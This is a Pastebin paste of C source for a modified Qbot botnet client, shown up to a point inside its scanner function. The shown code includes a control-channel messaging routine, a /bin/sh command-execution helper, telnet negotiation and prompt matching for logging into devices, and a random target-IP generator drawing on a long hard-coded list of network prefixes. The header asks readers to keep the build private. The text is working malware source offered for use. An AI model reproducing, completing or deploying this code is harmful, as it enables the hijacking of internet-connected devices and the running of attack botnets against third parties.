Cumfort

Bones Build 3.0 (ENJOY!!)

Sep 5th, 2017
337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 61.55 KB | None | 0 0
  1. /* Private Build of My Bot
  2.  
  3. `7MM"""Yp, .g8""8q. `7MN. `7MF'`7MM"""YMM .M"""bgd
  4. MM Yb .dP' `YM. MMN. M MM `7 ,MI "Y
  5. MM dP dM' `MM M YMb M MM d `MMb.
  6. MM"""bg. MM MM M `MN. M MMmmMM `YMMNq.
  7. MM `Y MM. ,MP M `MM.M MM Y , . `MM
  8. MM ,9 `Mb. ,dP' M YMM MM ,M Mb dM
  9. .JMMmmmd9 `"bmmd"' .JML. YM .JMMmmmmMMM P"Ybmmd"
  10.  
  11. [Qbot Modified By Cheats]
  12.  
  13. Do not Send To ANYONE please i beg you not to,
  14. please delete it off your server after done cross compiling
  15. */
  16. #include "includes.h"
  17. #define PR_SET_NAME 15
  18. #define SERVER_LIST_SIZE (sizeof(D3cOdeMePlS) / sizeof(unsigned char *))
  19. #define PAD_RIGHT 1
  20. #define PAD_ZERO 2
  21. #define PRINT_BUF_LEN 12
  22. #define CMD_IAC 255
  23. #define CMD_WILL 251
  24. #define CMD_WONT 252
  25. #define CMD_DO 253
  26. #define CMD_DONT 254
  27. #define OPT_SGA 3
  28. #define PHI 0x9e3779b9
  29.  
  30. int D1ckSucka = 0, D1ckSuckaz = -1, userID = 1, HackerPrint(int sock, char *formatStr, ...);
  31. char *inet_ntoa(struct in_addr in);
  32. unsigned char macAddress[6] = {0};
  33. uint32_t *pids;
  34. uint32_t scanPid;
  35. uint32_t Phonepid;
  36. uint64_t numpids = 0;
  37. struct in_addr ourIP;
  38. static uint32_t Q[4096], c = 362436;
  39. void makeRandomStr(unsigned char *buf, int length);
  40. void init_rand(uint32_t x)
  41. {
  42. int i;
  43. Q[0] = x;
  44. Q[1] = x + PHI;
  45. Q[2] = x + PHI + PHI;
  46. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  47. }
  48. uint32_t rand_cmwc(void)
  49. {
  50. uint64_t t, a = 18782LL;
  51. static uint32_t i = 4095;
  52. uint32_t x, r = 0xfffffffe;
  53. i = (i + 1) & 4095;
  54. t = a * Q[i] + c;
  55. c = (uint32_t)(t >> 32);
  56. x = t + c;
  57. if (x < c) {
  58. x++;
  59. c++;
  60. }
  61. return (Q[i] = r - x);
  62. }
  63. void trim(char *str)
  64. {
  65. int i;
  66. int begin = 0;
  67. int end = strlen(str) - 1;
  68. while (isspace(str[begin])) begin++;
  69. while ((end >= begin) && isspace(str[end])) end--;
  70. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  71. str[i - begin] = '\0';
  72. }
  73. static void printchar(unsigned char **str, int c)
  74. {
  75. if (str) {
  76. **str = c;
  77. ++(*str);
  78. }
  79. else (void)write(1, &c, 1);
  80. }
  81. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  82. {
  83. register int pc = 0, padchar = ' ';
  84. if (width > 0) {
  85. register int len = 0;
  86. register const unsigned char *ptr;
  87. for (ptr = string; *ptr; ++ptr) ++len;
  88. if (len >= width) width = 0;
  89. else width -= len;
  90. if (pad & PAD_ZERO) padchar = '0';
  91. }
  92. if (!(pad & PAD_RIGHT)) {
  93. for ( ; width > 0; --width) {
  94. printchar (out, padchar);
  95. ++pc;
  96. }
  97. }
  98. for ( ; *string ; ++string) {
  99. printchar (out, *string);
  100. ++pc;
  101. }
  102. for ( ; width > 0; --width) {
  103. printchar (out, padchar);
  104. ++pc;
  105. }
  106. return pc;
  107. }
  108. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  109. {
  110. unsigned char print_buf[PRINT_BUF_LEN];
  111. register unsigned char *s;
  112. register int t, neg = 0, pc = 0;
  113. register unsigned int u = i;
  114. if (i == 0) {
  115. print_buf[0] = '0';
  116. print_buf[1] = '\0';
  117. return prints (out, print_buf, width, pad);
  118. }
  119. if (sg && b == 10 && i < 0) {
  120. neg = 1;
  121. u = -i;
  122. }
  123. s = print_buf + PRINT_BUF_LEN-1;
  124. *s = '\0';
  125. while (u) {
  126. t = u % b;
  127. if( t >= 10 )
  128. t += letbase - '0' - 10;
  129. *--s = t + '0';
  130. u /= b;
  131. }
  132. if (neg) {
  133. if( width && (pad & PAD_ZERO) ) {
  134. printchar (out, '-');
  135. ++pc;
  136. --width;
  137. }
  138. else {
  139. *--s = '-';
  140. }
  141. }
  142. return pc + prints (out, s, width, pad);
  143. }
  144. static int print(unsigned char **out, const unsigned char *format, va_list args )
  145. {
  146. register int width, pad;
  147. register int pc = 0;
  148. unsigned char scr[2];
  149. for (; *format != 0; ++format) {
  150. if (*format == '%') {
  151. ++format;
  152. width = pad = 0;
  153. if (*format == '\0') break;
  154. if (*format == '%') goto out;
  155. if (*format == '-') {
  156. ++format;
  157. pad = PAD_RIGHT;
  158. }
  159. while (*format == '0') {
  160. ++format;
  161. pad |= PAD_ZERO;
  162. }
  163. for ( ; *format >= '0' && *format <= '9'; ++format) {
  164. width *= 10;
  165. width += *format - '0';
  166. }
  167. if( *format == 's' ) {
  168. register char *s = (char *)va_arg( args, intptr_t );
  169. pc += prints (out, s?s:"(null)", width, pad);
  170. continue;
  171. }
  172. if( *format == 'd' ) {
  173. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  174. continue;
  175. }
  176. if( *format == 'x' ) {
  177. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  178. continue;
  179. }
  180. if( *format == 'X' ) {
  181. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  182. continue;
  183. }
  184. if( *format == 'u' ) {
  185. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  186. continue;
  187. }
  188. if( *format == 'c' ) {
  189. scr[0] = (unsigned char)va_arg( args, int );
  190. scr[1] = '\0';
  191. pc += prints (out, scr, width, pad);
  192. continue;
  193. }
  194. }
  195. else {
  196. out:
  197. printchar (out, *format);
  198. ++pc;
  199. }
  200. }
  201. if (out) **out = '\0';
  202. va_end( args );
  203. return pc;
  204. }
  205. int szprintf(unsigned char *out, const unsigned char *format, ...)
  206. {
  207. va_list args;
  208. va_start( args, format );
  209. return print( &out, format, args );
  210. }
  211. int zprintf(const unsigned char *format, ...)
  212. {
  213. va_list args;
  214. va_start( args, format );
  215. return print( 0, format, args );
  216. }
  217. int HackerPrint(int sock, char *formatStr, ...)
  218. {
  219. unsigned char *textBuffer = malloc(2048);
  220. memset(textBuffer, 0, 2048);
  221. char *orig = textBuffer;
  222. va_list args;
  223. va_start(args, formatStr);
  224. print(&textBuffer, formatStr, args);
  225. va_end(args);
  226. orig[strlen(orig)] = '\n';
  227. //zprintf("buf: %s\n", orig);
  228. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  229. free(orig);
  230. return q;
  231. }
  232. static int *fdopen_pids;
  233. int fdpopen(unsigned char *program, register unsigned char *type)
  234. {
  235. register int iop;
  236. int pdes[2], fds, pid;
  237. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  238. if (pipe(pdes) < 0) return -1;
  239. if (fdopen_pids == NULL) {
  240. if ((fds = getdtablesize()) <= 0) return -1;
  241. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  242. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  243. }
  244. switch (pid = vfork())
  245. {
  246. case -1:
  247. close(pdes[0]);
  248. close(pdes[1]);
  249. return -1;
  250. case 0:
  251. if (*type == 'r') {
  252. if (pdes[1] != 1) {
  253. dup2(pdes[1], 1);
  254. close(pdes[1]);
  255. }
  256. close(pdes[0]);
  257. } else {
  258. if (pdes[0] != 0) {
  259. (void) dup2(pdes[0], 0);
  260. (void) close(pdes[0]);
  261. }
  262. (void) close(pdes[1]);
  263. }
  264. execl("/bin/sh", "sh", "-c", program, NULL);
  265. _exit(127);
  266. }
  267. if (*type == 'r') {
  268. iop = pdes[0];
  269. (void) close(pdes[1]);
  270. } else {
  271. iop = pdes[1];
  272. (void) close(pdes[0]);
  273. }
  274. fdopen_pids[iop] = pid;
  275. return (iop);
  276. }
  277. int fdpclose(int iop)
  278. {
  279. register int fdes;
  280. sigset_t omask, nmask;
  281. int pstat;
  282. register int pid;
  283. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  284. (void) close(iop);
  285. sigemptyset(&nmask);
  286. sigaddset(&nmask, SIGINT);
  287. sigaddset(&nmask, SIGQUIT);
  288. sigaddset(&nmask, SIGHUP);
  289. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  290. do {
  291. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  292. } while (pid == -1 && errno == EINTR);
  293. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  294. fdopen_pids[fdes] = 0;
  295. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  296. }
  297. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  298. {
  299. int got = 1, total = 0;
  300. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  301. return got == 0 ? NULL : buffer;
  302. }
  303. static const long hextable[] = {
  304. [0 ... 255] = -1,
  305. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  306. ['A'] = 10, 11, 12, 13, 14, 15,
  307. ['a'] = 10, 11, 12, 13, 14, 15
  308. };
  309. long parseHex(unsigned char *hex)
  310. {
  311. long ret = 0;
  312. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  313. return ret;
  314. }
  315. int wildString(const unsigned char* pattern, const unsigned char* string) {
  316. switch(*pattern)
  317. {
  318. case '\0': return *string;
  319. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  320. case '?': return !(*string && !wildString(pattern+1, string+1));
  321. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  322. }
  323. }
  324. int getHost(unsigned char *toGet, struct in_addr *i)
  325. {
  326. struct hostent *h;
  327. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  328. return 0;
  329. }
  330. void uppercase(unsigned char *str)
  331. {
  332. while(*str) { *str = toupper(*str); str++; }
  333. }
  334. void makeRandomStr(unsigned char *buf, int length)
  335. {
  336. int i = 0;
  337. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  338. }
  339. int recvLine(int socket, unsigned char *buf, int bufsize)
  340. {
  341. memset(buf, 0, bufsize);
  342. fd_set myset;
  343. struct timeval tv;
  344. tv.tv_sec = 30;
  345. tv.tv_usec = 0;
  346. FD_ZERO(&myset);
  347. FD_SET(socket, &myset);
  348. int selectRtn, retryCount;
  349. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  350. while(retryCount < 10)
  351. {
  352. HackerPrint(D1ckSucka, "PING");
  353. tv.tv_sec = 30;
  354. tv.tv_usec = 0;
  355. FD_ZERO(&myset);
  356. FD_SET(socket, &myset);
  357. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  358. retryCount++;
  359. continue;
  360. }
  361. break;
  362. }
  363. }
  364. unsigned char tmpchr;
  365. unsigned char *cp;
  366. int count = 0;
  367. cp = buf;
  368. while(bufsize-- > 1)
  369. {
  370. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  371. *cp = 0x00;
  372. return -1;
  373. }
  374. *cp++ = tmpchr;
  375. if(tmpchr == '\n') break;
  376. count++;
  377. }
  378. *cp = 0x00;
  379. // zprintf("recv: %s\n", cp);
  380. return count;
  381. }
  382. int hostname_to_ip(char * hostname , char* ip)
  383. {
  384. struct hostent *he;
  385. struct in_addr **addr_list;
  386. int i;
  387. if ( (he = gethostbyname( hostname ) ) == NULL)
  388. {
  389. // get the host info
  390. herror("gethostbyname");
  391. return 1;
  392. }
  393. addr_list = (struct in_addr **) he->h_addr_list;
  394. for(i = 0; addr_list[i] != NULL; i++)
  395. {
  396. //Return the first one;
  397. strcpy(ip , inet_ntoa(*addr_list[i]) );
  398. return 0;
  399. }
  400. return 1;
  401. }
  402. int connectTimeout(int fd, char *host, int port, int timeout)
  403. {
  404. struct sockaddr_in dest_addr;
  405. fd_set myset;
  406. struct timeval tv;
  407. socklen_t lon;
  408. int valopt;
  409. long arg = fcntl(fd, F_GETFL, NULL);
  410. arg |= O_NONBLOCK;
  411. fcntl(fd, F_SETFL, arg);
  412. dest_addr.sin_family = AF_INET;
  413. dest_addr.sin_port = htons(port);
  414. if(getHost(host, &dest_addr.sin_addr)) return 0;
  415. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  416. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  417. if (res < 0) {
  418. if (errno == EINPROGRESS) {
  419. tv.tv_sec = timeout;
  420. tv.tv_usec = 0;
  421. FD_ZERO(&myset);
  422. FD_SET(fd, &myset);
  423. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  424. lon = sizeof(int);
  425. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  426. if (valopt) return 0;
  427. }
  428. else return 0;
  429. }
  430. else return 0;
  431. }
  432. arg = fcntl(fd, F_GETFL, NULL);
  433. arg &= (~O_NONBLOCK);
  434. fcntl(fd, F_SETFL, arg);
  435. return 1;
  436. }
  437. int listFork()
  438. {
  439. uint32_t parent, *newpids, i;
  440. parent = fork();
  441. if (parent <= 0) return parent;
  442. numpids++;
  443. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  444. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  445. newpids[numpids - 1] = parent;
  446. free(pids);
  447. pids = newpids;
  448. return parent;
  449. }
  450. int negotiate(int sock, unsigned char *buf, int len)
  451. {
  452. unsigned char c;
  453. switch (buf[1]) {
  454. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  455. case CMD_WILL:
  456. case CMD_WONT:
  457. case CMD_DO:
  458. case CMD_DONT:
  459. c = CMD_IAC;
  460. send(sock, &c, 1, MSG_NOSIGNAL);
  461. if (CMD_WONT == buf[1]) c = CMD_DONT;
  462. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  463. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  464. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  465. send(sock, &c, 1, MSG_NOSIGNAL);
  466. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  467. break;
  468. default:
  469. break;
  470. }
  471. return 0;
  472. }
  473. int matchPrompt(char *bufStr)
  474. {
  475. char *prompts = ":>%$#\0";
  476. int bufLen = strlen(bufStr);
  477. int i, q = 0;
  478. for(i = 0; i < strlen(prompts); i++)
  479. {
  480. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  481. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  482. }
  483. return 0;
  484. }
  485. static uint8_t ipState[4] = {0};
  486. in_addr_t HackerScan1()
  487. {
  488. ipState[0] = 0;
  489. ipState[1] = 0;
  490. ipState[2] = 0;
  491. ipState[3] = 0;
  492. ipState[0] = rand() % 223;
  493. ipState[1] = rand() % 255;
  494. ipState[2] = rand() % 255;
  495. ipState[3] = rand() % 255;
  496. int randnum = rand() % 147;
  497. char ip[16];
  498. if(randnum == 0)
  499. {
  500. szprintf(ip, "112.5.%d.%d", ipState[2], ipState[3]);
  501. }
  502. if(randnum == 1)
  503. {
  504. szprintf(ip, "117.165.%d.%d", ipState[2], ipState[3]);
  505. }
  506. if(randnum == 2)
  507. {
  508. szprintf(ip, "85.3.%d.%d", ipState[2], ipState[3]);
  509. }
  510. if(randnum == 3)
  511. {
  512. szprintf(ip, "41.252.%d.%d", ipState[2], ipState[3]);
  513. }
  514. if(randnum == 4)
  515. {
  516. szprintf(ip, "104.55.%d.%d", ipState[2], ipState[3]);
  517. }
  518. if(randnum == 5)
  519. {
  520. szprintf(ip, "78.186.%d.%d", ipState[2], ipState[3]);
  521. }
  522. if(randnum == 6)
  523. {
  524. szprintf(ip, "78.189.%d.%d", ipState[2], ipState[3]);
  525. }
  526. if(randnum == 7)
  527. {
  528. szprintf(ip, "221.120.%d.%d", ipState[2], ipState[3]);
  529. }
  530. if(randnum == 8)
  531. {
  532. szprintf(ip, "88.5.%d.%d", ipState[2], ipState[3]);
  533. }
  534. if(randnum == 9)
  535. {
  536. szprintf(ip, "41.254.%d.%d", ipState[2], ipState[3]);
  537. }
  538. if(randnum == 10)
  539. {
  540. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  541. }
  542. if(randnum == 11)
  543. {
  544. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  545. }
  546. if(randnum == 12)
  547. {
  548. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  549. }
  550. if(randnum == 13)
  551. {
  552. szprintf(ip, "45.117.%d.%d", ipState[2], ipState[3]);
  553. }
  554. if(randnum == 14)
  555. {
  556. szprintf(ip, "101.51.%d.%d", ipState[2], ipState[3]);
  557. }
  558. if(randnum == 15)
  559. {
  560. szprintf(ip, "137.59.%d.%d", ipState[2], ipState[3]);
  561. }
  562. if(randnum == 16)
  563. {
  564. szprintf(ip, "14.204.%d.%d", ipState[2], ipState[3]);
  565. }
  566. if(randnum == 17)
  567. {
  568. szprintf(ip, "27.50.%d.%d", ipState[2], ipState[3]);
  569. }
  570. if(randnum == 18)
  571. {
  572. szprintf(ip, "27.54.%d.%d", ipState[2], ipState[3]);
  573. }
  574. if(randnum == 19)
  575. {
  576. szprintf(ip, "27.98.%d.%d", ipState[2], ipState[3]);
  577. }
  578. if(randnum == 20)
  579. {
  580. szprintf(ip, "36.32.%d.%d", ipState[2], ipState[3]);
  581. }
  582. if(randnum == 21)
  583. {
  584. szprintf(ip, "36.248.%d.%d", ipState[2], ipState[3]);
  585. }
  586. if(randnum == 22)
  587. {
  588. szprintf(ip, "39.64.%d.%d", ipState[2], ipState[3]);
  589. }
  590. if(randnum == 23)
  591. {
  592. szprintf(ip, "43.253.%d.%d", ipState[2], ipState[3]);
  593. }
  594. if(randnum == 24)
  595. {
  596. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  597. }
  598. if(randnum == 25)
  599. {
  600. szprintf(ip, "163.53.%d.%d", ipState[2], ipState[3]);
  601. }
  602. if(randnum == 26)
  603. {
  604. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  605. }
  606. if(randnum == 27)
  607. {
  608. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  609. }
  610. if(randnum == 28)
  611. {
  612. szprintf(ip, "123.25.%d.%d", ipState[2], ipState[3]);
  613. }
  614. if(randnum == 29)
  615. {
  616. szprintf(ip, "103.54.%d.%d", ipState[2], ipState[3]);
  617. }
  618. if(randnum == 30)
  619. {
  620. szprintf(ip, "27.255.%d.%d", ipState[2], ipState[3]);
  621. }
  622. if(randnum == 31)
  623. {
  624. szprintf(ip, "103.204.%d.%d", ipState[2], ipState[3]);
  625. }
  626. if(randnum == 32)
  627. {
  628. szprintf(ip, "123.24.%d.%d", ipState[2], ipState[3]);
  629. }
  630. if(randnum == 33)
  631. {
  632. szprintf(ip, "113.191.%d.%d", ipState[2], ipState[3]);
  633. }
  634. if(randnum == 34)
  635. {
  636. szprintf(ip, "113.188.%d.%d", ipState[2], ipState[3]);
  637. }
  638. if(randnum == 34)
  639. {
  640. szprintf(ip, "113.189.%d.%d", ipState[2], ipState[3]);
  641. }
  642. if(randnum == 35)
  643. {
  644. szprintf(ip, "14.160.%d.%d", ipState[2], ipState[3]);
  645. }
  646. if(randnum == 36)
  647. {
  648. szprintf(ip, "14.161.%d.%d", ipState[2], ipState[3]);
  649. }
  650. if(randnum == 37)
  651. {
  652. szprintf(ip, "14.162.%d.%d", ipState[2], ipState[3]);
  653. }
  654. if(randnum == 38)
  655. {
  656. szprintf(ip, "14.163.%d.%d", ipState[2], ipState[3]);
  657. }
  658. if(randnum == 39)
  659. {
  660. szprintf(ip, "14.164.%d.%d", ipState[2], ipState[3]);
  661. }
  662. if(randnum == 40)
  663. {
  664. szprintf(ip, "14.165.%d.%d", ipState[2], ipState[3]);
  665. }
  666. if(randnum == 41)
  667. {
  668. szprintf(ip, "14.166.%d.%d", ipState[2], ipState[3]);
  669. }
  670. if(randnum == 42)
  671. {
  672. szprintf(ip, "14.167.%d.%d", ipState[2], ipState[3]);
  673. }
  674. if(randnum == 43)
  675. {
  676. szprintf(ip, "14.168.%d.%d", ipState[2], ipState[3]);
  677. }
  678. if(randnum == 44)
  679. {
  680. szprintf(ip, "14.169.%d.%d", ipState[2], ipState[3]);
  681. }
  682. if(randnum == 45)
  683. {
  684. szprintf(ip, "14.170.%d.%d", ipState[2], ipState[3]);
  685. }
  686. if(randnum == 46)
  687. {
  688. szprintf(ip, "14.171.%d.%d", ipState[2], ipState[3]);
  689. }
  690. if(randnum == 47)
  691. {
  692. szprintf(ip, "14.172.%d.%d", ipState[2], ipState[3]);
  693. }
  694. if(randnum == 48)
  695. {
  696. szprintf(ip, "14.173.%d.%d", ipState[2], ipState[3]);
  697. }
  698. if(randnum == 49)
  699. {
  700. szprintf(ip, "14.174.%d.%d", ipState[2], ipState[3]);
  701. }
  702. if(randnum == 50)
  703. {
  704. szprintf(ip, "14.175.%d.%d", ipState[2], ipState[3]);
  705. }
  706. if(randnum == 51)
  707. {
  708. szprintf(ip, "14.176.%d.%d", ipState[2], ipState[3]);
  709. }
  710. if(randnum == 52)
  711. {
  712. szprintf(ip, "14.177.%d.%d", ipState[2], ipState[3]);
  713. }
  714. if(randnum == 53)
  715. {
  716. szprintf(ip, "14.178.%d.%d", ipState[2], ipState[3]);
  717. }
  718. if(randnum == 54)
  719. {
  720. szprintf(ip, "14.179.%d.%d", ipState[2], ipState[3]);
  721. }
  722. if(randnum == 55)
  723. {
  724. szprintf(ip, "14.180.%d.%d", ipState[2], ipState[3]);
  725. }
  726. if(randnum == 56)
  727. {
  728. szprintf(ip, "14.181.%d.%d", ipState[2], ipState[3]);
  729. }
  730. if(randnum == 57)
  731. {
  732. szprintf(ip, "14.182.%d.%d", ipState[2], ipState[3]);
  733. }
  734. if(randnum == 58)
  735. {
  736. szprintf(ip, "14.183.%d.%d", ipState[2], ipState[3]);
  737. }
  738. if(randnum == 59)
  739. {
  740. szprintf(ip, "14.184.%d.%d", ipState[2], ipState[3]);
  741. }
  742. if(randnum == 60)
  743. {
  744. szprintf(ip, "14.185.%d.%d", ipState[2], ipState[3]);
  745. }
  746. if(randnum == 61)
  747. {
  748. szprintf(ip, "14.186.%d.%d", ipState[2], ipState[3]);
  749. }
  750. if(randnum == 62)
  751. {
  752. szprintf(ip, "14.187.%d.%d", ipState[2], ipState[3]);
  753. }
  754. if(randnum == 63)
  755. {
  756. szprintf(ip, "14.188.%d.%d", ipState[2], ipState[3]);
  757. }
  758. if(randnum == 64)
  759. {
  760. szprintf(ip, "14.189.%d.%d", ipState[2], ipState[3]);
  761. }
  762. if(randnum == 65)
  763. {
  764. szprintf(ip, "14.190.%d.%d", ipState[2], ipState[3]);
  765. }
  766. if(randnum == 66)
  767. {
  768. szprintf(ip, "14.191.%d.%d", ipState[2], ipState[3]);
  769. }
  770. if(randnum == 67)
  771. {
  772. szprintf(ip, "45.121.%d.%d", ipState[2], ipState[3]);
  773. }
  774. if(randnum == 68)
  775. {
  776. szprintf(ip, "45.120.%d.%d", ipState[2], ipState[3]);
  777. }
  778. if(randnum == 69)
  779. {
  780. szprintf(ip, "45.115.%d.%d", ipState[2], ipState[3]);
  781. }
  782. if(randnum == 70)
  783. {
  784. szprintf(ip, "43.252.%d.%d", ipState[2], ipState[3]);
  785. }
  786. if(randnum == 71)
  787. {
  788. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  789. }
  790. if(randnum == 72)
  791. {
  792. szprintf(ip, "43.240.%d.%d", ipState[2], ipState[3]);
  793. }
  794. if(randnum == 73)
  795. {
  796. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  797. }
  798. if(randnum == 74)
  799. {
  800. szprintf(ip, "41.174.%d.%d", ipState[2], ipState[3]);
  801. }
  802. if(randnum == 75)
  803. {
  804. szprintf(ip, "45.127.%d.%d", ipState[2], ipState[3]);
  805. }
  806. if(randnum == 76)
  807. {
  808. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  809. }
  810. if(randnum == 77)
  811. {
  812. szprintf(ip, "123.16.%d.%d", ipState[2], ipState[3]);
  813. }
  814. if(randnum == 78)
  815. {
  816. szprintf(ip, "202.44.%d.%d", ipState[2], ipState[3]);
  817. }
  818. if(randnum == 79)
  819. {
  820. szprintf(ip, "116.93.%d.%d", ipState[2], ipState[3]);
  821. }
  822. if(randnum == 80)
  823. {
  824. szprintf(ip, "41.253.%d.%d", ipState[2], ipState[3]);
  825. }
  826. if(randnum == 81)
  827. {
  828. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  829. }
  830. if(randnum == 82)
  831. {
  832. szprintf(ip, "113.190.%d.%d", ipState[2], ipState[3]);
  833. }
  834. if(randnum == 83)
  835. {
  836. szprintf(ip, "112.196.%d.%d", ipState[2], ipState[3]);
  837. }
  838. if(randnum == 84)
  839. {
  840. szprintf(ip, "113.178.%d.%d", ipState[2], ipState[3]);
  841. }
  842. if(randnum == 85)
  843. {
  844. szprintf(ip, "112.45.%d.%d", ipState[2], ipState[3]);
  845. }
  846. if(randnum == 86)
  847. {
  848. szprintf(ip, "183.223.%d.%d", ipState[2], ipState[3]);
  849. }
  850. if(randnum == 87)
  851. {
  852. szprintf(ip, "116.71.%d.%d", ipState[2], ipState[3]);
  853. }
  854. if(randnum == 88)
  855. {
  856. szprintf(ip, "103.44.%d.%d", ipState[2], ipState[3]);
  857. }
  858. if(randnum == 89)
  859. {
  860. szprintf(ip, "110.235.%d.%d", ipState[2], ipState[3]);
  861. }
  862. if(randnum == 90)
  863. {
  864. szprintf(ip, "124.253.%d.%d", ipState[2], ipState[3]);
  865. }
  866. if(randnum == 91)
  867. {
  868. szprintf(ip, "211.237.%d.%d", ipState[2], ipState[3]);
  869. }
  870. if(randnum == 92)
  871. {
  872. szprintf(ip, "117.175.%d.%d", ipState[2], ipState[3]);
  873. }
  874. if(randnum == 93)
  875. {
  876. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  877. }
  878. if(randnum == 94)
  879. {
  880. szprintf(ip, "111.9.%d.%d", ipState[2], ipState[3]);
  881. }
  882. if(randnum == 95)
  883. {
  884. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  885. }
  886. if(randnum == 96)
  887. {
  888. szprintf(ip, "113.174.%d.%d", ipState[2], ipState[3]);
  889. }
  890. if(randnum == 97)
  891. {
  892. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  893. }
  894. if(randnum == 98)
  895. {
  896. szprintf(ip, "113.160.%d.%d", ipState[2], ipState[3]);
  897. }
  898. if(randnum == 99)
  899. {
  900. szprintf(ip, "113.161.%d.%d", ipState[2], ipState[3]);
  901. }
  902. if(randnum == 100)
  903. {
  904. szprintf(ip, "113.162.%d.%d", ipState[2], ipState[3]);
  905. }
  906. if(randnum == 101)
  907. {
  908. szprintf(ip, "113.163.%d.%d", ipState[2], ipState[3]);
  909. }
  910. if(randnum == 102)
  911. {
  912. szprintf(ip, "113.164.%d.%d", ipState[2], ipState[3]);
  913. }
  914. if(randnum == 103)
  915. {
  916. szprintf(ip, "113.165.%d.%d", ipState[2], ipState[3]);
  917. }
  918. if(randnum == 104)
  919. {
  920. szprintf(ip, "113.166.%d.%d", ipState[2], ipState[3]);
  921. }
  922. if(randnum == 105)
  923. {
  924. szprintf(ip, "113.167.%d.%d", ipState[2], ipState[3]);
  925. }
  926. if(randnum == 106)
  927. {
  928. szprintf(ip, "113.168.%d.%d", ipState[2], ipState[3]);
  929. }
  930. if(randnum == 107)
  931. {
  932. szprintf(ip, "113.169.%d.%d", ipState[2], ipState[3]);
  933. }
  934. if(randnum == 108)
  935. {
  936. szprintf(ip, "123.17.%d.%d", ipState[2], ipState[3]);
  937. }
  938. if(randnum == 109)
  939. {
  940. szprintf(ip, "123.21.%d.%d", ipState[2], ipState[3]);
  941. }
  942. if(randnum == 110)
  943. {
  944. szprintf(ip, "123.22.%d.%d", ipState[2], ipState[3]);
  945. }
  946. if(randnum == 111)
  947. {
  948. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  949. }
  950. if(randnum == 112)
  951. {
  952. szprintf(ip, "222.253.%d.%d", ipState[2], ipState[3]);
  953. }
  954. if(randnum == 113)
  955. {
  956. szprintf(ip, "222.254.%d.%d", ipState[2], ipState[3]);
  957. }
  958. if(randnum == 114)
  959. {
  960. szprintf(ip, "222.255.%d.%d", ipState[2], ipState[3]);
  961. }
  962. if(randnum == 115)
  963. {
  964. szprintf(ip, "41.208.%d.%d", ipState[2], ipState[3]);
  965. }
  966.  
  967. if(randnum == 116)
  968. {
  969. szprintf(ip, "103.198.%d.%d", ipState[2], ipState[3]);
  970. }
  971. if(randnum == 117)
  972. {
  973. szprintf(ip, "88.248.%d.%d", ipState[2], ipState[3]);
  974. }
  975. if(randnum == 118)
  976. {
  977. szprintf(ip, "88.105.%d.%d", ipState[2], ipState[3]);
  978. }
  979. if(randnum == 119)
  980. {
  981. szprintf(ip, "88.247.%d.%d", ipState[2], ipState[3]);
  982. }
